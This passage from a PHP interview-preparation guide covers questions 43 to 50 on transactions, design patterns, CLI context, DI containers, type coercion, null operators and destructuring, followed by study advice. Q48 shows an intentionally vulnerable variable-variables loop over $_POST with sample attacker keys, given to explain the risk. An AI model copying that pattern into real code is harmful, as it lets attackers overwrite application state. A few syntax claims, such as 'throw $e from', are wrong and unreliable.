// READ COMMITTED — no dirty reads, but non-repeatable reads possible (PostgreSQL default)
// REPEATABLE READ — same row always returns same value within transaction (MySQL default)
// SERIALIZABLE — transactions appear to run sequentially. Slowest, most correct.
$pdo->exec("SET TRANSACTION ISOLATION LEVEL READ COMMITTED");
$pdo->beginTransaction();
// ... queries ...
$pdo->commit();
// Use READ COMMITTED for high-concurrency OLTP to reduce lock contention
// Use SERIALIZABLE for financial transactions where phantom reads would cause bugs
Q44. What are the Repository, Service Layer, and Value Object patterns in PHP? Why do they matter?
What the interviewer is testing: Whether you understand the layering — specifically that Service Layer orchestrates but does not contain business logic (that lives in entities/domain objects), and that a Repository should never accept SQL query strings as parameters from callers. Knowing the patterns by name is not enough; knowing what each layer is prohibited from doing is the signal of real architectural experience.
// Value Object — immutable, equality by value not identity
final class Money {
public function __construct(
public readonly int $amount, // in cents
public readonly string $currency,
) {
if ($amount < 0) throw new \DomainException('Amount cannot be negative');
}
public function add(self $other): static {
if ($this->currency !== $other->currency) {
throw new \DomainException("Cannot add {$this->currency} and {$other->currency}");
}
return new static($this->amount + $other->amount, $this->currency);
}
public function equals(self $other): bool {
return $this->amount === $other->amount
&& $this->currency === $other->currency;
}
}
// Repository — abstracts data access behind a domain interface
interface OrderRepository {
public function findById(int $id): ?Order;
public function findByUser(User $user): array;
public function save(Order $order): void;
}
class MysqlOrderRepository implements OrderRepository {
public function __construct(private \PDO $pdo) {}
public function findById(int $id): ?Order {
$stmt = $this->pdo->prepare("SELECT * FROM orders WHERE id = ?");
$stmt->execute([$id]);
$row = $stmt->fetch();
return $row ? Order::fromArray($row) : null;
}
// ...
}
// Service Layer — application-level workflow, not domain logic
class PlaceOrderService {
public function __construct(
private OrderRepository $orders,
private InventoryService $inventory,
private EventDispatcher $events,
) {}
public function execute(PlaceOrderCommand $cmd): Order {
$this->inventory->reserve($cmd->items);
$order = Order::create($cmd->userId, $cmd->items, $cmd->shippingAddress);
$this->orders->save($order);
$this->events->dispatch(new OrderPlaced($order));
return $order;
}
}
Q45. What are the key differences between PHP CLI and web (FPM) context that cause bugs when ignored?
What the interviewer is testing: Whether you have written PHP queue workers or scheduled tasks in production — and whether you know the specific environmental differences (exit codes, STDERR, signal handling) that make CLI scripts behave like professional tools rather than scripts that silently swallow errors.
// Detect execution context:
$isCli = php_sapi_name() === 'cli';
// CLI vs Web differences:
// 1. Execution time — no limit in CLI by default
ini_set('max_execution_time', '0'); // CLI already unlimited; make explicit in long scripts
// 2. Error output — write errors to STDERR, not STDOUT
fwrite(STDERR, "Error: something went wrong\n");
// Or: file_put_contents('php://stderr', "Error message\n");
// 3. Exit codes — MUST be meaningful in CLI scripts
exit(0); // success — script ran correctly
exit(1); // generic failure
exit(2); // misuse (wrong arguments)
// Bash: if ! php deploy.php; then alert "Deploy failed"; fi
// 4. Superglobals not available in CLI:
// $_SERVER['REQUEST_METHOD'] — doesn't exist
// $_GET, $_POST, $_COOKIE — empty
// CLI equivalents: $argv (indexed array), $argc (count)
// 5. Output — no HTTP headers, just raw stdout
// Never call header() in CLI — it does nothing but may confuse developers reading code
// PHP CLI best practices:
// Read from STDIN when composable with Unix pipes
while ($line = fgets(STDIN)) {
processLine(trim($line));
}
// Usage: cat data.csv | php process.php
// Use return status correctly with Symfony Console or standalone:
function main(array $argv): int {
if (count($argv) < 2) {
fwrite(STDERR, "Usage: {$argv[0]} <filename>\n");
return 2; // incorrect usage
}
// ...
return 0; // success
}
exit(main($argv));
Q46. How do you implement dependency injection in PHP without a full framework?
What the interviewer is testing: Whether you understand DI as a pattern (not a framework feature) — and whether you can implement it manually when you need to.
// Manual DI Container — the pattern behind Symfony, Laravel, and Pimple
class Container {
private array $bindings = [];
private array $instances = [];
public function bind(string $abstract, \Closure $factory): void {
$this->bindings[$abstract] = $factory;
}
public function singleton(string $abstract, \Closure $factory): void {
$this->bindings[$abstract] = function () use ($abstract, $factory): mixed {
if (!array_key_exists($abstract, $this->instances)) {
$this->instances[$abstract] = $factory($this);
}
return $this->instances[$abstract];
};
}
public function make(string $abstract): mixed {
if (!isset($this->bindings[$abstract])) {
throw new \RuntimeException("No binding registered for: $abstract");
}
return ($this->bindings[$abstract])($this);
}
}
// Bootstrap — wire up the object graph once at app startup
$container = new Container();
$container->singleton(\PDO::class, fn() => new \PDO(
'mysql:host=127.0.0.1;dbname=app;charset=utf8mb4', 'user', 'pass',
[\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, \PDO::ATTR_EMULATE_PREPARES => false]
));
$container->bind(UserRepository::class,
fn($c) => new MysqlUserRepository($c->make(\PDO::class))
);
$container->bind(UserService::class,
fn($c) => new UserService($c->make(UserRepository::class))
);
// Usage — deep dependencies resolved automatically
$service = $container->make(UserService::class);
// Container creates: PDO singleton → MysqlUserRepository → UserService
// For production apps: use PSR-11 compliant containers like PHP-DI, Symfony DI, or Laravel IoC.
// They add autowiring (resolve constructor type hints automatically), decorators, and lazy loading.
Tricky PHP Output & Gotchas (Q47–50)
These four questions expose gaps that syntax familiarity masks. A developer can write PHP daily for two years and never encounter an octal file permission bug or a silent null assignment from array destructuring — until they hit one at 2am on a production server. For each: understand the mechanism, not just the answer.
Q47. What are PHP's most dangerous type coercion traps beyond the 0 == "foo" case?
What the interviewer is testing: Whether you know the PHP-specific behavior traps that cause silent production bugs — float precision, in_array defaults, and the octal literal pitfall that incorrectly sets file permissions on deployment.
// 1. Float precision — never use == for float comparisons
var_dump(0.1 + 0.2 == 0.3); // false — 0.1 + 0.2 = 0.30000000000000004
// Correct:
var_dump(abs((0.1 + 0.2) - 0.3) < PHP_FLOAT_EPSILON); // true
// 2. Octal notation — int literals, NOT strings
$perms = 0755; // int 493 (octal)
$perms = "0755"; // string "0755" — NOT 493!
chmod('/tmp/test', 0755); // correct (octal)
chmod('/tmp/test', "0755"); // wrong — PHP converts "0755" to int 755, not 493
// 3. Array + operator vs array_merge — very different semantics
$a = ['a', 'b'];
$b = ['c', 'd', 'e'];
print_r($a + $b); // ['a', 'b', 'e'] — $a wins for existing keys
print_r(array_merge($a, $b)); // ['a', 'b', 'c', 'd', 'e'] — all values, re-indexed
// 4. strtotime and date timezone effects
date_default_timezone_set('UTC');
echo strtotime('2026-01-01'); // consistent UTC timestamp
// Without setting timezone: depends on server php.ini — subtle inconsistency between servers
// 5. in_array() with strict=false (the default!) — loose comparison
in_array(0, ['foo', 'bar']); // true — 0 == "foo" in PHP 7!
in_array("1", [1, 2, 3]); // true — "1" == 1
// Always use strict mode:
in_array(0, ['foo', 'bar'], true); // false
in_array("1", [1, 2, 3], true); // false
Q48. What are variable variables ($$var) and why are they a security risk?
What the interviewer is testing: Whether you understand why register_globals was removed from PHP and can recognize when developers accidentally recreate the same vulnerability with $$var patterns in modern code.
// Variable variables: use a string as a variable name
$varName = 'color';
$$varName = 'blue'; // equivalent to: $color = 'blue'
echo $color; // 'blue'
echo $$varName; // 'blue'
// This is rarely justified in clean code, but the security implication is severe:
// VULNERABILITY: assigning user input via variable variables
foreach ($_POST as $key => $value) {
$$key = $value; // Attacker sends: key="_SESSION[admin]" value=1
// Or: key="config" value="attacker_controlled"
// Overwrites any variable in current scope
}
// REAL HISTORICAL VULNERABILITY:
// PHP's old register_globals=On directive did this automatically for ALL requests.
// ?admin=1 in the URL set $admin = 1 in every PHP script.
// Disabled in PHP 5.3, removed in PHP 5.4 — but developers recreate it manually.
// The ONLY legitimate use: configuration-driven dynamic property access
// (still: use an array or a typed method instead)
// Instead of: $$configKey = $configValue
// Use: $config[$configKey] = $configValue ← clean, explicit, no variable pollution
Q49. What is the difference between PHP's null coalescing operator (??) and nullsafe operator (?>)?
What the interviewer is testing: Whether you can articulate the difference between two operators that look similar but solve completely different problems — ?? guards against missing keys and null variables; ?-> guards against calling methods on null objects. The combination pattern is the real test.
// ?? (null coalescing, PHP 7.0+)
// Returns left side if NOT null, otherwise returns right side
// Also handles undefined array keys / undefined variables without a notice
$name = $_GET['name'] ?? 'Anonymous'; // 'name' key missing → 'Anonymous'
$port = $config['port'] ?? 3306; // key not set → 3306
$value = $user->getSettings()['theme'] ?? 'dark'; // key not in array → 'dark'
// ??= (null coalescing assignment, PHP 7.4+)
$cache[$key] ??= computeExpensiveValue($key); // only compute if not already set
$_SESSION['visits'] ??= 0;
$_SESSION['visits']++;
// ?-> (nullsafe operator, PHP 8.0+)
// Short-circuits the chain if the left side is null — returns null, no exception
// WITHOUT nullsafe:
$country = null;
if ($user !== null && $user->getAddress() !== null) {
$country = $user->getAddress()->getCountry()->getName();
}
// WITH nullsafe — same semantics, much cleaner
$country = $user?->getAddress()?->getCountry()?->getName();
// If any method returns null, the rest of the chain is skipped and null is returned
// Key difference:
// ?? is for null checks on VARIABLES and ARRAY KEYS
// ?-> is for null checks on OBJECT METHOD CHAINS / PROPERTY ACCESS
// Combining both:
$timezone = $user?->getPreferences()?->getTimezone() ?? 'UTC';
// If user is null, or getPreferences() returns null, or getTimezone() returns null → 'UTC'
Q50. What is the difference between list() and [] array destructuring in PHP, and what are the silent failure modes?
What the interviewer is testing: Whether you have used PHP array destructuring in production code and know its constraints — the silent null assignment when a key is missing is a real source of bugs in PHP data-processing code, particularly when hydrating database rows.
// list() (PHP 5+) and [] (PHP 7.1+) are equivalent for positional destructuring
list($first, $second, $third) = [1, 2, 3];
[$first, $second, $third] = [1, 2, 3]; // modern syntax — prefer this
// Skip elements with empty comma slot:
[, $second] = [1, 2]; // $second = 2
[, , $third] = [1, 2, 3]; // $third = 3
// Nested destructuring:
[[$a, $b], [$c, $d]] = [[1, 2], [3, 4]]; // $a=1, $b=2, $c=3, $d=4
// Associative (named key) destructuring — PHP 7.1+, [] syntax only:
['name' => $name, 'age' => $age] = ['name' => 'Alice', 'age' => 30, 'role' => 'admin'];
// $name = 'Alice', $age = 30 — 'role' is ignored
// In foreach — very clean for array datasets:
$rows = [['Alice', 25], ['Bob', 30], ['Carol', 28]];
foreach ($rows as [$name, $age]) {
echo "$name is $age years old\n";
}
// Swap without temporary variable:
[$a, $b] = [$b, $a];
// TRAPS:
// 1. Attempting to destructure a non-array in PHP 8 throws TypeError (PHP 7 was just a warning)
[$x] = null; // TypeError: Cannot unpack null
// 2. Positional destructuring requires sequential integer keys starting at 0
[$a, $b] = [1 => 'x', 2 => 'y']; // $a = null (key 0 missing), $b = null
// 3. list() uses right-to-left assignment internally (historical, PHP 5)
// PHP 7+ fixed this to left-to-right — still confusing when reading old code
// 4. list() operates on arrays only — not objects, not strings
How to Prepare and Answer Well Under Pressure
PHP interviews at the middle level test a specific thing: whether you understand the language well enough to reason about code you have never seen before, not whether you have memorized particular answers. An interviewer who asks about late static binding is watching how you reason from first principles — "self:: is compile-time, so calling it on a subclass would always get the parent class..." — not whether you have rehearsed the LSB definition.
How to structure every technical answer
Use the mechanism → implication → example structure:
- Mechanism: What actually happens at the engine or runtime level — this demonstrates precision
- Implication: What bug or security vulnerability or performance problem occurs if you misunderstand it — this demonstrates judgment
- Example: One concrete code snippet, or a production incident you encountered — this demonstrates authority
For Q23 (SQL injection): "Prepared statements send the SQL template and parameters in two separate steps. The database server parses the template once, then receives parameters that are always treated as data — never as code. The implication: this only protects parameterized values; table and column names must still be whitelisted. I hit this specifically when building a dynamic sort feature — the ORDER BY column had to be validated against an explicit allowlist." That is a complete, senior-quality answer.
A two-week preparation plan for middle PHP roles
- Days 1–2: OPcache, PHP-FPM, zvals, copy-on-write. Configure a local PHP-FPM pool, measure worker memory with
ps aux, and calculate the correctpm.max_childrenfor a hypothetical server budget. - Days 3–4: Type juggling,
==vs===, static:: vs self::. Write 10 PHP expressions and predict their loose comparison result without running the code. Verify with a REPL. Get every one right before moving on. - Days 5–6: Traits, abstract classes vs interfaces, late static binding, anonymous classes. Build a small plugin system using LSB and
__init_subclass-equivalent patterns. - Days 7–8: PHP 8.x: match, enums, readonly, fibers. Convert an old switch-based state machine to match. Build a backed enum for a domain concept in a project you are familiar with.
- Days 9–10: Security: SQL injection, XSS/CSRF, password hashing, SSRF. Set up a local vulnerable PHP file and exploit each vulnerability, then fix it. First-hand experience with a vulnerability makes your answer unambiguously credible.
- Days 11–12: Error handling, testing, transactions. Implement the RetryDecorator from the FAQ below. Write a data provider test for it. Wire it up through a minimal DI container.
- Days 13–14: Two full mock interviews, spoken aloud, 45 minutes each. For every question you cannot answer confidently, add one hour of focused review before the real interview.
What different PHP roles actually emphasize
- Backend API roles (Laravel, Symfony): Dependency injection and containers, type hints and Attributes, testing with PHPUnit, PSR standards, exception chaining and the Throwable hierarchy (Q35), database transactions (Q43).
- E-commerce / high-traffic: PHP-FPM tuning (Q2), OPcache (Q3), Redis caching (Q30), N+1 queries (Q29), session security (Q27), file upload security (Q28).
- Data processing / ETL roles: Large dataset streaming (Q31), generators, CLI context (Q45), long-running processes (Q33), bcmath for precision (Q10).
- Security-focused roles: All of Q23–28 in depth, plus understanding of the magic hash vulnerability (Q7), type juggling attack surfaces (Q6), SSRF mitigation patterns (Q26).
Frequently Asked Questions
What PHP concepts are asked most in middle-level developer interviews?
Based on patterns across PHP roles: (1) type juggling and == vs === — appears in nearly every PHP interview and is a direct proxy for "do you write safe PHP?"; (2) static:: vs self:: — a classic OOP question that immediately distinguishes developers who understand the object model; (3) prepared statements and SQL injection — security knowledge is now table stakes; (4) PHP-FPM and OPcache configuration — signals real server experience; (5) traits, abstract classes, and interfaces — tests design judgment. PHP 8.x features (match, enums, readonly, named arguments) are increasingly common as companies standardize on PHP 8.1+.
Is PHP still in demand in 2026? What does the job market look like?
PHP runs on approximately 77% of all websites with a detected server-side language — a market share that has held steady for a decade despite competition from Node.js, Python, and Go. WordPress powers 43% of all websites. Laravel has been among the top 5 most-used web frameworks globally for the past four years. These are not legacy installations being phased out — they are active, commercially viable applications being maintained and expanded by paid engineers. PHP 8.x made the language dramatically better: typed properties, match, enums, fibers, readonly classes, and first-class callable syntax have removed most of the historical arguments against PHP's quality. The developer market reflects this: senior PHP developers — particularly those who can work confidently across Laravel/Symfony, write secure code, and tune production infrastructure — are consistently in demand.
What is a good PHP coding question to practice for interviews?
Implement a RetryDecorator class that wraps any callable, retries it up to N times on specified exception types, uses exponential backoff between attempts, logs each attempt, and preserves the original exception as a chain if all retries fail. This question tests: interfaces and type hints (Q8), exception chaining (throw $e from $lastException — Q28), named arguments for clean construction (Q19), PHPUnit testing with mock callables and data providers (Q39), and dependency injection with a logger interface (Q38). A bonus: make it work with async callables using Fibers (Q22). This is more signal-dense than most algorithm questions for a PHP backend role.
What is the difference between include and require in PHP?
require throws a fatal E_COMPILE_ERROR if the file cannot be found; include only emits an E_WARNING and continues execution. In modern PHP with Composer autoloading, you should rarely write explicit include or require statements for application code — only for bootstrapping (require __DIR__ . '/vendor/autoload.php'). The _once variants (require_once, include_once) track included files in a hash table and skip re-inclusion, which is a marginal performance overhead — unnecessary when you use Composer's autoloader correctly with --classmap-authoritative.
How important is knowing PHP frameworks for a PHP developer interview?
It depends entirely on the role. Most PHP job postings specify a framework (Laravel, Symfony, WordPress). You should know the framework named in the job description deeply. However, the questions in this guide — type juggling, security, OPcache, OOP patterns, PDO — are framework-agnostic and form the foundation that makes framework knowledge meaningful. A developer who knows Laravel's syntax but not prepared statements or OPcache is a risk. A developer who knows the fundamentals can learn any framework in weeks. Interviewers at strong engineering teams test fundamentals first; framework knowledge is assumed from the job description.
What PHP version should I know for a 2026 interview?
Target PHP 8.1 as your baseline — it introduced enums, fibers, readonly properties, intersection types, and never return type, all of which appear in interview questions. Know PHP 8.2 additions (readonly classes, DNF types, true/false/null standalone types) and PHP 8.3 (typed class constants, json_validate(), mb_str_pad()). Being able to say "this is an 8.1+ pattern" — as opposed to "I think this is new" — signals that you actively follow PHP releases. The php.net migration guide for each version lists the behavioral changes (like the 0 == "foo" fix in 8.0) that frequently appear in interview "what does this output?" questions.


